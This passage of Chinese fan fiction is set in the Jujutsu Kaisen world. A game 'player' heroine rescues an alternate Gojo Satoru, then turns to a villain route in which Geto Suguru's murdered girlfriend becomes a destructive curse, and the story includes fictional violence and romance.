“我下个月和悟去度蜜月,悟的课就拜托你咯。”今野桃一把掀开了羂索的脑子,“当当!你也不想被别人发现你被吃掉了脑子吧?” 视频拍完,她将手机收好。 “好了,现在就请你告诉我,怎么打开狱门疆吧。” 羂索沉默几秒,笑出了声。 “打开?很遗憾,只有两把钥匙能打开它。一把是天逆鉾,一把是黑绳。”羂索扯了扯嘴角,表情狰狞而得意,“但它们都被五条悟自己销毁了。我把他关进去就没想过再让他出来!” 今野桃默不作声。 正在奔跑赶来的咒术师们从她的耳机里听见这些话,心中又悲又痛。 “五条老师……” 羂索猖狂地笑着,没关系,没关系,就算被抓了,他还有后手,他的计划还没有…… “啊,找到了。”今野桃从道具栏里摸出一直放在里面的黑绳,“你说的‘黑绳’,就是这个吧?” “!!!” 羂索呆滞了。 “这不可能!你怎么会有黑绳?!” 无能狂怒的羂索眼睁睁看着她打开狱门疆,把关着的【五条悟】放了出来。骤然回到现实世界,【五条悟】脱力地往后倒去。 “小心,悟。”今野桃赶忙伸手去接,将人揽在怀里。 就在这时,所有人都赶到了。 有人从楼梯上跳下来,有人从地铁通道冲过来。 “呃啊!你这只偷腥猫!” 一个声音突然响起。 虎杖悠仁看看左边,又看看右边,发出了智慧的声音:“咦,怎么有两个五条老师?” 五条悟辛辛苦苦从东京都立咒术高专赶到涉谷,结果看见的就是他老婆抱着别的男人。 “到底哪个才是小桃的恋人呢?”虎杖悠仁挠了挠头。 五条悟加快了速度冲过来:“快把 别人老婆放下来啊!你自己没有老婆吗?!” 被抱在怀里的【五条悟】好像看懂了什么,他虚弱地往今野桃怀里一靠:“好难受啊,小桃。” 今野桃:…… 不是,你们不对劲吧?! 60-70 第61章 有那么一瞬间,今野桃是非常无语的。这两人是拿她当傻子耍吗? “咦?被关在狱门疆里的,也是小桃的那个五条老师吗?”虎杖悠仁还在那里傻傻地分不清楚。 靠谱的成年人扶额发出了叹息:“这种事情,只要问一下纪念日就能知道答案了吧?” 比如恋爱纪念日,或者结婚纪念日之类的。 “诶,好像是哦。” 【五条悟】也想到了这一点,心中不由地生出了遗憾。他还想再多玩一会儿的呢……尤其是眼前这个男人,明明看起来跟自己差不多大,身上却仍然带着一股“天真”的味道。 这是被人精心呵护着、未经历过风雨的天真。 真是可恶啊。 忽然,今野桃动了。她朝【五条悟】伸出了手,掐住了他的下巴。 【五条悟】:“诶?” 她什么都没说,直接低头就要亲上去。 【五条悟】猛地后仰,下意识地避开了她。 于是今野桃有了答案:“你不是我的悟。” 她轻轻地放下他,然后转身接住了扑上来的大猫。 “你好讨厌啊!怎么这么明显都分不出……” 五条悟的话没说完,嘴巴就被今野桃堵住了。她的舌尖轻巧地舔过他的唇缝,甚至不需要打招呼,他就习惯性地张开了嘴,门户大开地欢迎着她。 “噢——” 有人发出怪叫,钉崎野蔷薇赶紧捂住了虎杖悠仁的眼睛,虎杖悠仁捂住了伏黑惠的眼睛,伏黑惠捂住了钉崎野蔷薇的眼睛。 但他们都不约而同地张开了指缝。 好、好刺激! “咳咳!!”七海建人发出了重重的咳嗽声。 两人分开,五条悟的唇上亮晶晶的,脸都不带红一下。 “果然,单身狗是无法伪装出有对象的样子的。”钉崎野蔷薇如是感慨。 【五条悟】盘腿坐在地面上,刚刚的怪叫就是他发出来的。 “真厉害啊!”他由衷说道,“能问一下,你的老婆是从哪里领的吗?” 五条悟哪里还能不知道他在想什么,闻言非常大声地“哈”了一下。 “独一无二,别做梦了。” 【五条悟】眯起了眼睛。 好讨厌啊,这种人生赢家的样子。 “辛苦你啦,悟。”今野桃摸了摸他的头发,心疼地说道,“再等等,我们应该马上就可以回去了。在回去之前,我们先把羂索和宿傩解决掉。” “羂索?哦,就是那个想要偷走杰身体的家伙啊。”五条悟微微弯腰,任由她抚摸着他新雪似的发丝,好奇地朝站在那里不敢动弹的羂索张望,“没想到这里他竟然成功了诶。” 五条悟看向【五条悟】,嗤笑道:“你好没用哦。” 【五条悟】原本带着笑意的表情慢慢变淡,他冷漠地瞥了这个长得和他一模一样,但靠近一看就能轻易看出两人有很大不同的男人:“难道你发现了?” 五条悟顿了两秒,飞快地回道:“小桃发现就等于是我发现了,夫妻一体!” 这种明目张胆的炫耀……他真是要吐了。 “你是禅院家的吧。”【五条悟】对今野桃说道,“我看见你身上的家纹了。” “啊,对,我叫禅院桃。”今野桃笑了笑说道,“不过我更喜欢大家叫我总监部部长。” 她松开握着五条悟的手,看向那个明明有着反转术式,却仍旧难掩疲惫的男人。 “你也辛苦了,悟。” 没有杰,没有她,一个人很累吧。 【五条悟】哑然。一个人的时候不觉得,但被关心后,那些被忽略掉的委屈就像喷涌而出的泉水,再也克制不住了。 怎么会不累呢?可是,又有谁能替他分担呢?无法解决的问题说出口,只能证明自己的无能罢了。 他的脸上总是挂着笑,那点虚浮的笑就像是被切开后的奶油蛋糕,凌乱又零碎。 “你……” 今野桃才吐出一个音节,五条悟一把捂住了她的嘴巴。 “别说了。”他咬牙在她耳边低语道,“禁止在外面随意勾搭流浪动物!” 家里已经养不下了! 今野桃乖巧地把拇指和食指捏在一起,在嘴巴上拉了一条“拉链”。 “对不起嘛……”她又软又甜地哄道。 刷好感实在是顺手的事捏。 五条悟刚想原谅他,忽地眼珠一转,视线掠过她腰上的黑绳,笑吟吟地说道:“可以呀,那你今天让我绑。” 噢噢噢!五条老师,你知道你一句话暴露了多少信息吗! “今天让我绑”,说明以前你都是被绑的那个啊! 三个学生红着脸看天看地。 七海建人的眼皮抖了抖,幸好被眼镜遮住了。 “尊重一点敌人,五条。” 羂索和两面宿傩苦心孤诣地算计,就是为了不正面和五条悟对上。这足以说明,他们的实力远不如五条悟。 现在这里有两个五条悟,那更好了,一人一个,不用抢。 “到了该离开的时候了。”今野桃牵住了五条悟,“我们消失不见这么久,杰和甚尔一定很担心。” 五条悟回握住她:“是啊是啊,早点回去吧。” 今野桃望向【五条悟】,最后说了一句:“照顾好自己,悟,不要让爱你的人担心。” 她静悄悄地来,也静悄悄地去。 来如春/梦不多时,去似朝霞无觅处…… 十万美金到手。 兑换成日元,大约是一千五百万。 呜呜呜,谁说纸片人不好的,这纸片人可太好了!她爱纸片人一辈子! 在主页噼里啪啦打了一大堆,今野桃心满意足地躺在柔软的大床上睡着了。 第二天,她下楼吃饭,碰到了大学生学业调研,随机进行街头采访。 “你好,姐姐,能问您几个问题吗?”她们小心地走到了她的身边,怯怯地问道。 今野桃放下筷子,看在大学生清澈又懵懂的眼神份上,点了点头。 她们喜出望外,连忙掏出了纸笔。 “请问您有对象吗?” “没有。” “请问您谈过恋爱吗?” “谈过。” “能冒昧问一下,您谈过几次吗?大概区间也可以。” “也不多,两位数往上吧。” “……”大学生哽了一下,硬着头皮说道,“纸片人不算。” 今野桃大怒:“纸片人怎么不算啦,那也是爱!” “对不起!”她们立刻滑跪,诚挚地道歉,“是我们不懂事!请您不要放在心上!” 算了,毕竟还是学生。今野桃勉强原谅了她们。 “最后一个问题,请问如果您喜欢的二次元的纸片人出现在三次元,来到了您的面前,您会愿意跟他谈恋爱吗?”她们期待地看着她。 “这个嘛……”今野桃两手交叉,深沉地说道,“我只能对你们说,达咩。” 二次元我爱得不得了,三次元我看了就要跑。 大学生大为震撼,并连连表示感谢。 “好、好的,我们知道了。” 今野桃享受了一顿美食,简单地修整了几天后,再次投入到了游戏之中。 她爱工作 ,工作令她快乐。 这一次,她有了新的计划。 她已经当腻了正派人士。站在正方的阵营里,她要做的事情太多了,简直就是个保姆。 而且还要小心翼翼地维护许多人脆弱的心,不能太过出格,好累。 还是当反派爽。做个像两面宿傩一样的反派,简单,快乐。不高兴了就折磨别人,坚决不内耗自己。 夏油杰啊夏油杰,你口口声声说自己是诅咒师,要消灭所有没有咒力的普通人。结果十年时间过去了,你杀的人还没有突破四位数。 你真是一颗翡翠大白菜啊。 简称,好菜。 不过没关系,现在好心的玩家要来帮帮你了。 快对玩家说谢谢! 今野桃打开商城,购买技能:无为转变…… 夏油杰很小的时候,就发现自己和其他人不一样。他似乎能看见一些别人看不见的东西。 年幼的他不懂,为什么自己明明帮助了大人,他们却看他如洪水猛兽。 “……是精神病……脑子……问题……” “……吓人……” “快走快走……” 他们对他避如蛇蝎,黑色的阴影环绕着他们。 夏油杰将问题抛给了爸爸妈妈,仰着头等待一个回答。 妈妈的表情很凝重,爸爸只是抽着烟不说话。 没多久,他们搬家了。住进新家的那天,妈妈抱着他,非常严肃地说道:“杰,以后不要再说什么看见妖怪之类的话,明白了吗?” 夏油杰答应了。可是,他没办法做到眼睁睁地看着有人在他面前死去,他却无动于衷。 他的善良没能给他带来善果。 排斥、仇视、疏远、冷暴力…… 这些足以让一个孩子坠入深渊。所幸夏油杰在漫长的日子里,与自己达成了和解。 ‘因为普通人都太弱了,所以他们不能理解他。’ ‘普通人,是需要被保护的存在。’ 他以此作为自己行事的标准,为自己披上坚硬的外壳。 可是,再坚硬的外壳也保护不了脆弱的心。当他在脏污的囚牢里看见抱在一起的双胞胎姐妹,她们的父母明明保护着这座村庄,却因为是异类而死亡,两个孩子也被当做怪物。 他的正论破碎了。 锄强扶弱。 到底谁是强,谁是弱? 好累啊,真的好累。为什么咒灵会源源不断地出现,为什么身边的同伴总是前赴后继地死在这条路上。 天内理子、灰原雄……他们都是无辜的啊! 到底是为什么? “是因为……是因为普通人的存在。”他忽然明悟了,“只要这个世界上还有普通人存在,咒灵就会一直、一直诞生。” 他对面前的女孩说道。 “小桃,身为普通人,就是你的原罪。” 他有了新的正论,将自己和普通人彻底分割开来。他用这种方法,保护他那颗已经破碎的心。 女孩的目光一寸一寸地抚摸着他的脸颊,眼睛里流露出悲伤。 “是这样啊……所以,杰是来杀掉我的吗?” “我会很温柔的,小桃,不会让你觉得痛苦。”夏油杰垂眸回答,不敢与她对视。 女孩点点头:“如果是杰的愿望……那好吧。” 她的表情有些古怪,瞳孔中带着越发浓重的疯狂。 “毕竟我,是那么、那么、那么爱着杰啊。”爱语一字一句地吐露着,成为她作为人类留在世间的遗言。 被咒灵吞没的刹那,浓郁得几乎凝成实质的咒力猛地升腾而起。深深爱着恋人的女孩在死去的那一刻,化作了咒灵。 就在夏油杰的眼前,化作了特级咒灵。 不,不是特级。 特级只是已知咒灵的最高等级,却不是她的。 她在特级之上。 她是咒灵之王。 第62章 轰——! 几乎是咒力蔓延开的一瞬间,总监部用来检测的仪器就发出了爆裂的警告声。所有人都放下了手中的事情,将目光投向了那边。 “是……是一级咒灵?不,是特级咒灵!” “有特级咒灵出世了!” 而且,是一个肆无忌惮,一看就非常棘手的特级咒灵! 通常情况下,特级咒灵在完全诞生后,都会生出智慧。它们要么远离人类,要么就像现在这样,大肆破坏。前者的话,人类都会睁一只眼闭一只眼;可后者…… “要派谁过去?那个地方的普通人都驱离了吗?让医院都准备好!” 特级咒灵,已经不是普通咒术师能解决的了。弄不好,整个东京都会毁于一旦啊! “悟,硝子。”夜蛾正道猛地拉开了教室的门,顾不上里面老师还在上课,“快过来,特级咒灵出现,我们现在必须马上赶过去。” 原本翘着脚发呆的五条悟一个翻身站了起来,蓝色的眼睛在阳光下熠熠生辉。 “哦?特级咒灵?有点意思。”他拿出手机,夏油杰还是没有给他回信息。距离他失联,已经一天多了。 【杰!有特级咒灵!你等着看我把它拿下!】 虽然失联,但五条悟对好友有信心。夏油杰有那么多咒灵,遇到了危险,即使打不过,逃走总没问题。 只要他们两个联手,没有什么咒灵是无法祓除的…… 砰!! 巨大的、扭曲的咒灵随意扭动了一下。身体,旁边的两栋屋子仿佛纸糊的一样,散了一地。 “杀死……全都杀死……普通人……全都去死……” 它口中呢喃着,将阻拦它的咒灵也一并碾碎。 夏油杰的拳头打在它的身上,连层皮都没破。然后咒灵反手抓住了他的手臂,将他甩了出去,重重地砸在了墙壁上。 “哈哈,好逊哦,杰。”五条悟乐不可支,蹲在旁边的阳台上嘲笑夏油杰,“你不是咒灵操使吗?快把它收服啊!” “悟!”夏油杰没想在这里遇到五条悟,他的表情有些凝滞,但此时已经顾不得那么多了,“快阻止它,它要把所有人都杀光!” “嚯,好大的口气呢。”五条悟活动了一下手腕,“那就让我来试试看你的本事吧。” 五条悟冲了上去。 五条悟飞了出去。 很精准,他和夏油杰落在了同一个地方。 “它真的是特级咒灵吗?!”五条悟难以置信,“它吃什么长大的啊?!一顿几个咒灵啊?!” 幸好“无下限”开着,不然刚刚那下真的是要和夏油杰难兄难弟了。 “总监部都是吃干饭的吗?这样的咒灵之前都没有检测到?”他骂骂咧咧,神色变得郑重起来。 这个咒灵有点难搞啊。 夏油杰移开了目光。 它吃什么长大的?他也解释不清。 “看样子是不能留手了。”五条悟伸出手指结印,“术式顺转苍!” 蓝色的光芒闪过,咒灵毫发无损。 这在过去是从未有过的。 不对劲,真的很不对劲! 五条悟深吸了一口气,沉下目光:“虚式茈!” 在破坏力极强的黑洞球形成的瞬间,咒灵以肉眼根本看不清楚的速度出现在了五条悟的身后。它朝他伸出了手,一片漆黑的混沌中,出现了一只和人类一样的手。 嗡! 死亡的危机感激得他汗毛竖起,原本贴合肌肤的“无下限”猛地张开,将咒灵弹了出去。 无数次战斗积累下的经验在提醒五条悟,绝对、绝对不能被它碰到! “什么东西啊?”五条悟惊魂未定,“总感觉被它碰到以后会变得很奇怪呢。” “是、是吗……”夏油杰结结巴巴地说道。 怎么办?他该怎么办? “别冒进,五条。”又有咒术师赶了过来,他们亲眼看见五条悟落入下风,于是神色也都严肃起来。 “一起上吧,它的目标太明确了,就是要杀死普通人。如果放它离开,会有大。麻烦的!” “了解!” 咒术师们一起冲上来了。 咒术师们一起飞出去了。 大概是因为总被阻挠,一直追杀普通人,却没有杀掉任何一个咒术师的咒灵看向脚边倒着的几个小咒术师。 它将他们抓了起来,然后团成了球。 是真的团成了球——四肢被折断,脖子被扭曲,内脏也跟着被挤压。 可即便这样,这些咒术师还没有死。他们痛苦哀嚎着,被咒灵当成球踢了出去, 把一排的屋子都给打穿了。 这样可怖的画面令所有人胆寒。 他们被紧急送到后方治疗,家入硝子对这些咒术师进行了身体检查,惊愕地发现,他们其实并没有受伤。 就好像,他们的骨头天生就是这样长的。 但这怎么可能呢? “能治吗,硝子?”夜蛾正道忧虑地问道。 家入硝子沉默几秒,摇了摇头:“要把他们恢复原状的话,得敲碎他们的骨头。而且……我也很难让他们变得和之前一模一样。” 医务室里陷入死一样的寂静。 前面指挥的人收到了消息,迅速将它传递下去: 千万、千万不能被它触碰到! 但是,它似乎又免疫绝大多数咒力攻击。这样的话,怎样才能将它祓除呢? 随着时间的推移,伤亡人数越来越多。而且,它开始朝着市区进发了。 不能让它进入市区! “救命!!”有人尖声惊叫,“救救我!!” 哪怕咒术师们已经极力牵制它,可惜收效甚微。它听见普通人的求助,速度反而更快了。 “杀光……全都杀光……”它的声音里带着兴奋。 “拦住它!” 五条悟再次冲上去了,跟他一起的还有数个一级咒术师。然而如预料的那样,他们的攻击对它全都无效。而这只咒灵,它的手已经又按在了一个咒术师的肩膀上。 “去……死……” “住手!!”夏油杰声嘶力竭地喊道,“快住手吧,小桃!!” 仿佛被按下了暂停键,咒灵停住了。 小桃是谁? 在众人的注视下,夏油杰深深地吸了一口气。 “小桃,你听我说。”他缓慢地,用平静的声音开口道,“你误会我的意思了,我是说……” “不……是!”咒灵忽然发狂,抄起旁边的一个咒术师就当做武器,轰隆一声砸碎了旁边的一栋屋子,“是杰说……要把……普通人……都杀死……阻拦我的……都要死……!!” 夏油杰的头上开始冒冷汗,其他人对他投来的怀疑目光他也不在意了。 “好好好!是我说错了!”夏油杰紧急改口,“是我说错了!我没打算把普通人都杀掉!” 咒灵又停住了。夏油杰好像掌握了它的开关,它全然听从他的命令。 “杰……说错了?”它咕哝着,失去目标般左右摇晃起来。 “是的,我说错了。我是指,要把敌人,都消灭。”夏油杰用最温柔的语气,一字一句地说道,“所以,小桃,不要闹了,好吗?” 庞大的咒灵低下了头,明明被黑色的雾气笼罩着,却仿佛在凝视着他。 它在斟酌,在衡量,夏油杰说的是不是真心话。 “杰……不要再……骗我了……” “好,我不会骗你了。”夏油杰展露出一个僵硬的笑容,“到我这里来,好吗?” 黑雾消散,一个女孩从中走了出来。它看起来和人类非常相似,只是一双眼睛全都是黑色的,没有一点眼白。磅礴的咒力环绕着它,像是数不清的触手。 “杰……杰……”它歪着头看夏油杰,“我……好爱……你,爱……你……” 夏油杰咽了口口水,朝它抬起了手。 咒灵操术,将降服的咒灵吸收,自由操纵的术式。若在阶级换算后,差出两级过更多,可以省略降伏过程,近乎无条件的吸收。 “既然爱我的话,就被我吃下去吧。”夏油杰眼下的黑色阴影也暗示着他几乎快到极限了。仔细想想,或许被他吃下去也挺好,这样他们两个就真正融为一体,再也不会分离了。 但它没动,只是漠然站在那里观察他。 怎么回事? “这个女孩,是被咒灵吃掉了吗?还有意识吗?” “看起来好像有,她和咒灵操使什么关系?” “不会是男女朋友吧?” 窃窃私语声像是苍蝇的嗡鸣,让咒灵躁动起来。 夏油杰抿起了嘴。 无法被收服。为什么,会无法被收服? 难道小桃的等级……已经远远超过他了? 五条悟溜溜达达地走到了他的边上,朝咒灵那个方向抬了抬下巴:“你女朋友?” “……嗯。” “看样子是因为被咒灵吃掉所以和咒灵融为一体了。”五条悟叹了口气,拍拍他的肩膀,“节哀,杰。” 夏油杰不知道该如何回答。 “对了,杰,你看过童话故事吗?”五条悟挠了挠脸颊,“想要唤回公主的理智,王子应该做什么?” “……”夏油杰闭了闭眼睛,“你不会是要我,去亲吻她吧?” 五条悟幸灾乐祸地一笑:“为什么不呢?杰,现在可只有你才能控制她了啊!” “骗人的吧?哪有那种办法!”夏油杰不信。 “还不过去吗?再不过去,她就要暴走了啊。”五条悟感慨着。 咒力化作的触手又开始张牙舞爪,好像下一秒就要开始发动攻击。 夏油杰咬了咬后牙槽,迈开步子,一步一步朝着女孩走过去。 女孩察觉到后,并没有像其他人想要靠近它那样极具攻击性,反而顺服得不得了。 “杰……”她生涩地咧开嘴角,露出一个非人的笑容。 夏油杰的心又开始痛起来了。 “小桃……”那样深深爱着他的小桃,因为他而变成咒灵的小桃…… “到我这里来吧,小桃。”他叹息道。 旁人只是触碰到就会死亡的手掌,被紧紧握住。 女孩顺着这个力道,朝他扑了过去。她伏在他的胸口处,像从前那样。 夏油杰低下头,在她的发间落下了轻吻。 刹那间,仿佛有一个看不见的漩涡,将所有的咒力都吸收得一干二净。 这个咒灵,变得和普通人一模一样了。就算是六眼,也看不出什么端倪。 “什么啊……”五条悟反复将眼镜摘下又戴上,表情迷茫,“她到底是个什么东西?我现在看她,完全就是个普通人嘛。” 夏油杰一下一下地抚摸着她的发丝,女孩眯着眼睛,幸福地抱着他的腰。 “小桃啊,她原本确实是个普通人呢。” 自普通人脱胎而来,接纳了他全部的爱与恨。 是只属于他的,理想的化身。 ……当然,如果能被他降伏就更好了。 第63章 眼看着危机解除,大家都松了一口气。这个时候,总监部的人突然走了过来。 他看了看这个特级咒灵,又看了看夏油杰,表情阴沉可怕。 “夏油杰,你在旧村屠杀无辜的112名居民的事情,有什么解释的吗?” 如果不是五条悟也在,他们直接就将夏油杰给抓走了。 五条悟愣了一下,下意识地说道:“不可能吧!” 那可是杰啊,他怎么会做出这种事情呢! 可是夏油杰没有反驳。 他只是垂着眼,一声不吭。 “杰!”五条悟揉了揉额头,表情有些复杂,“你没有什么想说的吗?” “你不解释的话,那我们就按照规定,将你带回总监部处理了。”那人明明对着夏油杰说话,目光却看着五条悟。 所有人都知道,夏油杰是五条悟的好友,万一他非要偏袒这个犯下大错的学生,他们也只能…… “悟。”夏油杰终于开口了,“你觉得,普通人真的需要我们保护吗?” “就因为这个?”五条悟觉得有些好笑,“我早就跟你说过的吧,杰,当初里子死的时候我就问过你,要不要把那些人全都杀掉,你还记得你是怎么回答我的吗?” 夏油杰说,没 有意义。 当时还留在盘星教的,不过一些普通人,真正发布悬赏、对咒术界有所了解的人,早就跑掉了。杀死普通人,毫无意义。 “现在你又在做什么呢?”五条悟摊手笑道,“杰,敌人应该是分立场,而不是分人种。普通人里有敌人和朋友,咒术师里也有敌人和朋友。” 夏油杰怔怔地看着他,五条悟耸了耸肩膀说道:“我从小就被暗杀长大,出生的时候,悬赏金就高达一个亿呢。要你这样说,我岂不是该仇视所有咒术师?” “所以,杀了就杀了呗。”五条悟开口道,“我只问你,杰,你后悔了吗?” 后悔……? 后悔杀掉那些,不知好歹的村民吗? 夏油杰低头笑了笑:“我不后悔。” “放肆!你犯下这样大的错误,竟然还不知悔改!”总监部的人大声叱骂道,“你简直辜负了老师和长辈对你的期待!” 外人察觉不到,但夏油杰立刻感觉到怀中的女孩动了一下,似乎被他的音量给吓到了。 夏油杰赶紧抬手捂住了她的耳朵,轻声哄道:“别怕、别怕。” 这副甜甜蜜蜜的样子引来了周围人的不满。 “所以,你拒绝跟我们去总监部吗?”男人的话音落下,旁边的咒术师不动声色地围了过来。 五条悟微微皱了皱眉。 “好吧,那我就跟你们去一趟。”夏油杰制止了五条悟,顺从地说道。 五条悟没有阻拦,看着好友跟着他们离开。他和女孩的手还紧紧牵在一起,仿佛是一对苦命的鸳鸯。 诶,等等。杰有说他把这个特级咒灵降伏了吗? 五条悟陷入沉思…… 车子一直开到了总监部,他们要在这里审判夏油杰,并且为了防止他死后咒灵失控,这里已经布置好了只能进不能出的结界。 阴森的房间让夏油杰想到了偏僻乡村里的那间牢房,他的表情有些冷漠,只是牵着女孩的手走了进去。 “夏油杰,你身为咒术师,竟然杀死那么多无辜的村民然后逃逸!既然你已经认罪,那么总监部将根据咒术规定第九条,将你认定为诅咒师,并且判处死刑!” 锋利的长刀在烛光下映出一片雪白。 “念在你曾经为咒术界作出的贡献,你自裁吧。” 长刀落地,发出当啷一声响。 “自裁?”夏油杰笑出了声,“已经腐朽到这种程度,连杀我的勇气都没有吗?” “放肆!”喊出这句话的时候,那些人脸上垂下的皮肉都在跟着颤动,“你身为罪人,不认罪伏法,还敢口出狂言!” 夏油杰摸了摸女孩的头发,开口道:“本来打算离开,所以不想追究那么多。但既然你们这样说了,那我请问——为什么以前的任务都是两个人一起做,而这个任务偏偏只安排我一个人?就连辅助监督也离开了?为什么本该在第二天就联系我的联络员,到第五天都还没跟我联系?” 夏油杰扶住额头,有些想笑的同时,又有些难过。 “不要跟我说人手短缺。真的……就这么巧吗?” 一切的巧合,背后都不过是有人在推动罢了。 “你们,是想要将我和悟分开,对吧。悟一直说你们是‘烂橘子’,是不是让你们感到害怕了?” 所以才会将他当做切入口。 也是,毕竟他不如悟那样强大,被当做漏洞也很正常。 “夏油杰,你现在是想否认你犯下的罪,把责任推到我们身上吗?!” “不,当然不是。”夏油杰放下手,松开了另一只和女孩交握的手掌,稍稍后退了一小步,“只是,既然我已经犯下了这样大的罪,不如就干脆做到底吧。” “什么?”有人反应过来,“你放肆!” 一道道攻击夹杂着咒力,袭向了夏油杰。他勾起嘴角,轻声说道:“小桃,把敌人都清理干净吧。” “敌人……要……杀掉敌人!” 磅礴的咒力冲天而起,咒灵之王再度出现。 夏油杰优雅地倚在墙上,面带微笑地看着他们。 很快,屋子里的血流了一地,一直骑在他头上的烂橘子们,终于全都死了。 真好,悟也一定会很开心的吧。 “问题解决,小桃,我们该回去……” 咔嚓! 屋门被撞破,咒灵之王冲了出去。 “杀掉……全都杀掉……!” “小桃!” 夏油杰紧随其后。眼看一个茫然路过的咒术师就要命丧咒灵之手,他连忙召唤出一个绳子状的咒灵,拉住对方甩了出去。 一击失手,咒灵之王转身去抓另一个。 夏油杰赶紧将另一个也拉走。 两次攻击都落空,咒灵之王回头看向夏油杰。 “哈、哈哈……”夏油杰干笑道,“小桃,我们要杀的人已经杀完了,该回去了。” “杀掉!全都杀掉!” 咒灵之王冲向了夏油杰。它张开了漆黑的大嘴,仿佛是一个黑洞,要将他吞没。 夏油杰:??? 不是,你怎么连我也打啊!。 五条悟赶到的时候,战斗已经结束,总监部也变成了一片废墟,幸好伤亡不多。他瞪大了眼睛,啧啧啧地走了过来。 家入硝子跟在他的后面,配合地发出了“哇哦”的声音。 夏油杰坐在一块石头上,看见两个同窗,对他们张了张嘴巴,随后因为牵到了肌肉而痛得龇牙咧嘴。 “哇你这是怎么了啊?”五条悟按了一下夏油杰脸上的青紫,颇为震惊地说道,“还有人能穿过你那只咒灵的保护打中你?” “……有没有一种可能,就是她打的呢?” “噗。” 五条悟没忍住。 “为什么啊,”他抱着手臂说道,“她不是超——级爱你吗?怎么还动起手了呢?” “我也不知道。”夏油杰头疼地说道,“她莫名其妙地就对我动手了。” “夏油。”家入硝子瞥了一眼蹲在夏油杰脚边的女孩,开口道,“我们都还没来得及问你,你知道她是怎么变成咒灵的吗?是被什么咒灵吃掉的?又有什么能力?” 夏油杰被问住,表情尴尬又难看。他的嘴巴几次开合,最终艰难地说道:“小桃她……是被我杀掉的。” 五条悟和家入硝子的动作都顿住了。 “被你杀掉?” 夏油杰抹了一把脸:“当时我将那个村子里所有的人都杀光后,决定成为诅咒师,放弃一直以来坚持的信念,贯彻新的理念。在我回来后,我遇到了小桃。然后在路上……我遇到了小桃。” “于是你就把她杀了。”家入硝子的表情放空了几秒,好像听到了可怕的鬼故事。 夏油杰垂着眼皮,继续说道:“小桃是在我面前变成咒灵的,她诞生自我的爱恨,也贯彻着我的理想。” “理想?什么理想?是杀掉全部……”五条悟的话没能说完。 夏油杰的脚下仿佛装了弹簧,他猛地跳了起来,一把捂住了五条悟的嘴巴。 “嘘嘘嘘!”他惊恐地说道,“不能说!我好不容易才把她哄得安静下来!” 五条悟歪了歪头:“那你说,你的理想是什么?” 夏油杰表情扭曲,支支吾吾半天说不出来。 “不会吧不会吧,不会有人连理想都说不出来还声称要实现理想吧?”五条悟笑得前仰后合,“你真的好逊哦,杰。” 家入硝子也跟着笑了起来:“有时候,真的想让你们男生分我一点自信。夏油,你凭什么觉得,她是诞生自你的爱恨,而不是对你的爱和恨 呢?不过我当然比不过她啦,因为如果我的男朋友杀了我,我只会恨他,不会爱他。” 夏油杰的手指不自觉地蜷了蜷。 家入硝子给自己点了根烟,看着无动于衷的女孩,叹了口气。 “本来还想问一下,能不能把那些咒术师变回去的……夏油,你没能调伏她,对吧。”她笃定般开口道,“或许,这是世界上唯一一个你无法调伏的咒灵。夏油,因为她恨你。” “这不可能,她明明会听我的……”夏油杰着急地辩解。 “因为她爱你。”家入硝子掸了掸烟灰,轻描淡写地说道,“她不听你的,因为她恨你。恭喜你啊,夏油,被这样一个咒灵缠上了。” 她是他最锋利的刀,但刀尖也会对准他。 从此,他将在她的爱恨中,辗转反侧。 第64章 【爱是最扭曲的诅咒。】 看着变成咒灵的女孩,脑海中只能闪过这样的一句话。 “爱……和恨,是不能抵消的。”家入硝子这样说道,“在恨着你的同时,又何尝不是在爱着你呢。” 而且,越是爱,就越是恨。 五条悟看了一眼现在又和普通人一样的女孩,开口道:“总监部都成这样了,我们先回学校吧。” 事情到底如何处理,总不能让夏油杰一个人承担全部的责任。 夜蛾正道也是这样想的。已经快要接替校长一职的他有着比学生更加深远的人脉,他看着疲惫走进学校的三人,许多话到了嘴边还是咽了下去。 事已至此,再多的批评也没有用。 “先休息吧,杰。”夜蛾正道看着少年清晰的黑眼圈,摇摇头说道,“这件事不能只怪你一个人。” 十七岁的少年,怎么能逼迫他去理解这个成年人也无法游刃有余的混沌世界。 夏油杰固然有错,但到底是谁导致这一切发生的呢? “夜蛾老师,我……” “但是,杰。”夜蛾正道的目光中还是带上了失望,“那个村子的事情可以解释,但她呢?你是抱着怎样的想法,去杀死一个爱你的人的呢?” 夏油杰哑然。 夜蛾正道背手站着,他的声音很轻,并不严厉,却如重锤砸在夏油杰的心上。 “要说你确确实实对不起的人,应该就是她了吧。”夜蛾正道抬起手,夏油杰以为他要揍自己,结果却只是在他的肩膀上拍了拍,“我听七海说,你失踪的时候,她来学校找过你,你知道吗?” 她来找过他? 夏油杰愣了愣,下意识地看向如影子一样跟着他的女孩。 一个对咒术界只是一知半解的人,是如何找到高专学校里来的呢?她一定找了很久吧。 “七海听说了这件事,他现在也非常痛苦。他觉得,是因为他说的话,所以她才会一直坚持找你。他只是希望她能向你转达一句话,说他对迁怒你感到很抱歉。”夜蛾正道微微抬头,不让学生看见他的表情,“杰,你好好想想吧。” “……是。” 夏油杰拖着沉重的步伐回到了寝室。他以为自己不会再有回来的这天。 烟灰缸被清理过了,被子也简单地折了两下,原本乱糟糟的房间看起来还算清爽,应该是七海建人做的。 他坐在了椅子上,两只手撑着额头,目光出神。女孩趴在他的大腿上,轻飘飘的没有一丝重量。 他好像想了很多,但思绪还是一片混乱。他知道夜蛾正道是希望他感到后悔,希望他重新回到高专,希望他能和悟一起……但他已经做不到了啊。 他没办法,像过去那样,对那些普通人生出保护的想法。他只怜悯明明在努力付出,最后却被责备、轻视的弱小咒术师。 月亮慢慢地升上了天空,不知道过了多久,夏油杰挪动了一下僵硬的四肢。 砰。 他的膝盖撞在了抽屉的底板上,原本合着的抽屉出现了一条缝隙。他顺势将椅子挪后,拉开抽屉,敏锐地发现这里被人动过了。 各种证件放的位置和之前不一样,他习惯从大到小地将它们排列整齐,而现在,它们胡乱地叠在了一起。 夏油杰拿出放在最上面的那张存折,打开。 原本光洁的纸张上,有几滴深深浅浅的水痕。 是……眼泪吗? 眼前好像浮现出了一幅画面,女孩同样坐在这张椅子上,她看着这张存折上的数字,按照每个任务的奖金,一项一项地计算着,最后忍不住落下泪来。 ‘好辛苦啊,杰……’她会哭着说,‘一定很累吧……’ 笨蛋,当时就应该拿着存折离开的啊,反正密码你也知道,身份证和印章也都在这里。拿着钱,就当没有认识我,不好吗…… 一滴,两滴…… 透明的水珠覆盖了之前的痕迹,有人在这个无人的安静深夜里,终于忍不住失声痛哭。 他从椅子上跌下来,跪着抱住了女孩。 